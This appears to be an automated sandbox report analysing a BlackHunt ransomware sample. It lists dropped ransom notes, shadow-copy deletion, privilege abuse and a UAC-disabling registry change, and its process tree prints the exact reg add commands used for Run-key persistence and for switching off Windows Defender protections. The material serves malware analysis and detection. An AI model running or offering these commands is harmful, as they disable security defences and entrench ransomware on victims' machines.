File created	C:\Program Files\Java\jdk1.7.0_80\db\bin\#BlackHunt_ReadMe.txt	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Rothera	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Zaporozhye	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-lib-profiler-ui.jar	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_Private.key	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_babypink_Thumbnail.bmp	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_Private.key	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_output\#BlackHunt_Private.key	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.ds_1.4.200.v20131126-2331.jar	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.nl_ja_4.4.0.v20140623020002.jar	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Phoenix	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files (x86)\Google\CrashReports\#BlackHunt_ReadMe.hta	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\Java\jre7\#BlackHunt_Private.key	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_Private.key	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jre7\release	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\#BlackHunt_Private.key	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Omsk	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\MANIFEST.MF	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\#BlackHunt_ReadMe.hta	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.update.configurator.nl_zh_4.4.0.v20140623020002.jar	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationRight_SelectionSubpicture.png	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\1047x576black.png	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ug\#BlackHunt_ReadMe.txt	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\license.html	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.nl_ja_4.4.0.v20140623020002.jar	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.txt	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\720_480shadow.png	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.extensionlocation.nl_ja_4.4.0.v20140623020002.jar	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\StopHide.potm	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-explorer_zh_CN.jar	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.hta	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_ReadMe.txt	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\#BlackHunt_ReadMe.hta	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-2	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#BlackHunt_ReadMe.txt	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_filter\#BlackHunt_ReadMe.hta	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\title_stripe.png	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\feature.xml	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2348	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4240	vssadmin.exe
3712	vssadmin.exe
2716	vssadmin.exe
4092	vssadmin.exe
3832	vssadmin.exe
3004	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3580	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1596	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1368	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
Token: SeRestorePrivilege	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
Token: SeBackupPrivilege	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
Token: SeTakeOwnershipPrivilege	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
Token: SeAuditPrivilege	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
Token: SeSecurityPrivilege	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
Token: SeIncBasePriorityPrivilege	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
Token: SeBackupPrivilege	2980	vssvc.exe
Token: SeRestorePrivilege	2980	vssvc.exe
Token: SeAuditPrivilege	2980	vssvc.exe
Token: SeBackupPrivilege	2784	wbengine.exe
Token: SeRestorePrivilege	2784	wbengine.exe
Token: SeSecurityPrivilege	2784	wbengine.exe
Token: SeSecurityPrivilege	3548	wevtutil.exe
Token: SeBackupPrivilege	3548	wevtutil.exe
Token: SeSecurityPrivilege	3512	wevtutil.exe
Token: SeBackupPrivilege	3512	wevtutil.exe
Token: SeSecurityPrivilege	3532	wevtutil.exe
Token: SeBackupPrivilege	3532	wevtutil.exe
Token: SeSecurityPrivilege	1436	wevtutil.exe
Token: SeBackupPrivilege	1436	wevtutil.exe
Token: SeSecurityPrivilege	2276	wevtutil.exe
Token: SeBackupPrivilege	2276	wevtutil.exe
Token: SeDebugPrivilege	3580	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2264 wrote to memory of 2668	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	29
PID 2264 wrote to memory of 2668	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	29
PID 2264 wrote to memory of 2668	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	29
PID 2264 wrote to memory of 2668	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	29
PID 2264 wrote to memory of 2724	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	30
PID 2264 wrote to memory of 2724	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	30
PID 2264 wrote to memory of 2724	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	30
PID 2264 wrote to memory of 2724	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	30
PID 2264 wrote to memory of 2744	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	31
PID 2264 wrote to memory of 2744	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	31
PID 2264 wrote to memory of 2744	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	31
PID 2264 wrote to memory of 2744	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	31
PID 2264 wrote to memory of 2756	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	33
PID 2264 wrote to memory of 2756	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	33
PID 2264 wrote to memory of 2756	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	33
PID 2264 wrote to memory of 2756	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	33
PID 2264 wrote to memory of 2788	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	34
PID 2264 wrote to memory of 2788	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	34
PID 2264 wrote to memory of 2788	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	34
PID 2264 wrote to memory of 2788	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	34
PID 2264 wrote to memory of 2484	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	39
PID 2264 wrote to memory of 2484	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	39
PID 2264 wrote to memory of 2484	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	39
PID 2264 wrote to memory of 2484	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	39
PID 2264 wrote to memory of 2884	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	40
PID 2264 wrote to memory of 2884	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	40
PID 2264 wrote to memory of 2884	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	40
PID 2264 wrote to memory of 2884	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	40
PID 2264 wrote to memory of 2796	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	42
PID 2264 wrote to memory of 2796	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	42
PID 2264 wrote to memory of 2796	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	42
PID 2264 wrote to memory of 2796	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	42
PID 2264 wrote to memory of 2168	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	44
PID 2264 wrote to memory of 2168	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	44
PID 2264 wrote to memory of 2168	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	44
PID 2264 wrote to memory of 2168	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	44
PID 2264 wrote to memory of 2864	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	45
PID 2264 wrote to memory of 2864	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	45
PID 2264 wrote to memory of 2864	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	45
PID 2264 wrote to memory of 2864	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	45
PID 2264 wrote to memory of 2640	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	46
PID 2264 wrote to memory of 2640	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	46
PID 2264 wrote to memory of 2640	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	46
PID 2264 wrote to memory of 2640	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	46
PID 2264 wrote to memory of 2576	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	47
PID 2264 wrote to memory of 2576	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	47
PID 2264 wrote to memory of 2576	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	47
PID 2264 wrote to memory of 2576	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	47
PID 2264 wrote to memory of 2676	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	48
PID 2264 wrote to memory of 2676	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	48
PID 2264 wrote to memory of 2676	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	48
PID 2264 wrote to memory of 2676	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	48
PID 2264 wrote to memory of 2652	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	54
PID 2264 wrote to memory of 2652	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	54
PID 2264 wrote to memory of 2652	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	54
PID 2264 wrote to memory of 2652	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	54
PID 2264 wrote to memory of 2600	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	51
PID 2264 wrote to memory of 2600	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	51
PID 2264 wrote to memory of 2600	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	51
PID 2264 wrote to memory of 2600	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	51
PID 2264 wrote to memory of 2992	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	57
PID 2264 wrote to memory of 2992	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	57
PID 2264 wrote to memory of 2992	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	57
PID 2264 wrote to memory of 2992	2264	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe
"C:\Users\Admin\AppData\Local\Temp\a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:2668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2168
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
